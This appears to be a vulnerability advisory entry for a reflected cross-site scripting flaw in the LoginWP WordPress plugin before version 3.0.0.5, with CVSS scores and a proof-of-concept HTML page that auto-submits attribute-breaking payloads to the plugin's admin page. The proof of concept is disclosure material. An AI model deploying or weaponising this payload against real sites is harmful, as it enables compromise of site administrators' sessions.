Lucene search

K
wpexploitJrXnmWPEX-ID:1A46CFEC-24AD-4619-8579-F09BBD8EE748
HistoryNov 08, 2021 - 12:00 a.m.

LoginWP < 3.0.0.5 - Reflected Cross-Site Scripting

2021-11-0800:00:00
JrXnm
74

6.1 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

4.3 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

The plugin does not sanitise and escape the rul_login_url and rul_logout_url parameter before outputting them back in attributes in an admin page, leading to a Reflected Cross-Site Scripting issue

<html>
  <body>
    <form action="https://example.com/wp-admin/admin.php?page=loginwp-redirections&new=1" id="hack" method="POST">
      <input type="hidden" name="rul_login_url" value='" style=animation-name:rotation onanimationstart=alert(/XSS-login_url/)//' />
      <input type="hidden" name="rul_logout_url" value='" style=animation-name:rotation onanimationstart=alert(/XSS-logout_url/)//' />
      <input type="submit" value="Submit request" />
    </form>
  </body>
  <script>
    var form1 = document.getElementById('hack');
    form1.submit();
</script>
</html>

6.1 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

4.3 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

Related for WPEX-ID:1A46CFEC-24AD-4619-8579-F09BBD8EE748